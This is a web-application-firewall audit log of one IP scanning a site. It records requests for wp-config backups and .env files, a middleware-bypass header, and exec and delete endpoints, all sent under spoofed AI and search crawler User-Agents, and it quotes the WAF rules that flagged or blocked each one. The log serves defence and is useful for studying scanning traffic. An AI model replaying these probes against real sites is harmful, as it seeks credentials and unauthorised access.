Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b0c53c6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b0c53c6b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981008870 119930 (- - -)
Stopwatch2: 1789305981008870 119930; combined=31572, p1=249, p2=31233, p3=0, p4=0, p5=90, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0c53c6b-Z--
--babe132a-A--
[13/Sep/2026:16:26:21.174015 +0300] aqakfTTJ6xTvcJoem7f9-AAAAFc 34.73.17.152 41006 127.0.0.1 7081
--babe132a-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--babe132a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--babe132a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981062005 112082 (- - -)
Stopwatch2: 1789305981062005 112082; combined=33290, p1=222, p2=32987, p3=0, p4=0, p5=80, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--babe132a-Z--
--faab1a6f-A--
[13/Sep/2026:16:26:21.361608 +0300] aqakfWM7dE9KgIIOpQiA3wAAAMo 34.73.17.152 41068 127.0.0.1 7081
--faab1a6f-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--faab1a6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--faab1a6f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981235856 125850 (- - -)
Stopwatch2: 1789305981235856 125850; combined=33740, p1=236, p2=33408, p3=0, p4=0, p5=95, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--faab1a6f-Z--
--4e1b6b66-A--
[13/Sep/2026:16:26:21.581530 +0300] aqakfWM7dE9KgIIOpQiA4wAAANI 34.73.17.152 41100 127.0.0.1 7081
--4e1b6b66-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4e1b6b66-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4e1b6b66-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqakfWM7dE9KgIIOpQiA4wAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981506713 74877 (- - -)
Stopwatch2: 1789305981506713 74877; combined=4260, p1=225, p2=3968, p3=0, p4=0, p5=66, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4e1b6b66-Z--
--4e462173-A--
[13/Sep/2026:16:26:22.053011 +0300] aqakfWM7dE9KgIIOpQiA6gAAAMs 34.73.17.152 41182 127.0.0.1 7081
--4e462173-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4e462173-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4e462173-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakfWM7dE9KgIIOpQiA6gAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981937384 115682 (- - -)
Stopwatch2: 1789305981937384 115682; combined=8715, p1=270, p2=8385, p3=0, p4=0, p5=59, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4e462173-Z--
--b13d9b71-A--
[13/Sep/2026:16:26:22.094952 +0300] aqakfkwu1RSkptiiNIX@XAAAAII 34.73.17.152 41208 127.0.0.1 7081
--b13d9b71-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b13d9b71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b13d9b71-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/.env"] [unique_id "aqakfkwu1RSkptiiNIX@XAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982010934 84073 (- - -)
Stopwatch2: 1789305982010934 84073; combined=3655, p1=211, p2=3385, p3=0, p4=0, p5=58, sr=84, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b13d9b71-Z--
--6d945252-A--
[13/Sep/2026:16:26:22.265299 +0300] aqakfkwu1RSkptiiNIX@XQAAAIU 34.73.17.152 41220 127.0.0.1 7081
--6d945252-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s2t4v0u0qsxz8
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--6d945252-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6d945252-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982191936 73468 (- - -)
Stopwatch2: 1789305982191936 73468; combined=4932, p1=336, p2=4268, p3=0, p4=0, p5=328, sr=186, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d945252-Z--
--b1081206-A--
[13/Sep/2026:16:26:22.470757 +0300] aqakfmM7dE9KgIIOpQiA7gAAANU 34.73.17.152 41226 127.0.0.1 7081
--b1081206-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--b1081206-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b1081206-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982406742 64066 (- - -)
Stopwatch2: 1789305982406742 64066; combined=5366, p1=235, p2=4677, p3=0, p4=0, p5=454, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b1081206-Z--
--5a30a01c-A--
[13/Sep/2026:16:26:22.727241 +0300] aqakfkwu1RSkptiiNIX@XgAAAJI 34.73.17.152 41234 127.0.0.1 7081
--5a30a01c-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--5a30a01c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5a30a01c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982630974 96336 (- - -)
Stopwatch2: 1789305982630974 96336; combined=8791, p1=499, p2=7975, p3=0, p4=0, p5=316, sr=197, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5a30a01c-Z--
--d90b062b-A--
[13/Sep/2026:16:26:22.929663 +0300] aqakfmM7dE9KgIIOpQiA7wAAANM 34.73.17.152 41236 127.0.0.1 7081
--d90b062b-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--d90b062b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d90b062b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982867251 62472 (- - -)
Stopwatch2: 1789305982867251 62472; combined=4400, p1=237, p2=3877, p3=0, p4=0, p5=286, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d90b062b-Z--
--3371bb3f-A--
[13/Sep/2026:16:26:23.131434 +0300] aqakf0wu1RSkptiiNIX@XwAAAJM 34.73.17.152 41240 127.0.0.1 7081
--3371bb3f-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--3371bb3f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3371bb3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983064942 66539 (- - -)
Stopwatch2: 1789305983064942 66539; combined=4329, p1=209, p2=3841, p3=0, p4=0, p5=279, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3371bb3f-Z--
--8156e169-A--
[13/Sep/2026:16:26:23.351461 +0300] aqakf2M7dE9KgIIOpQiA8AAAAME 34.73.17.152 41256 127.0.0.1 7081
--8156e169-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--8156e169-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8156e169-H--
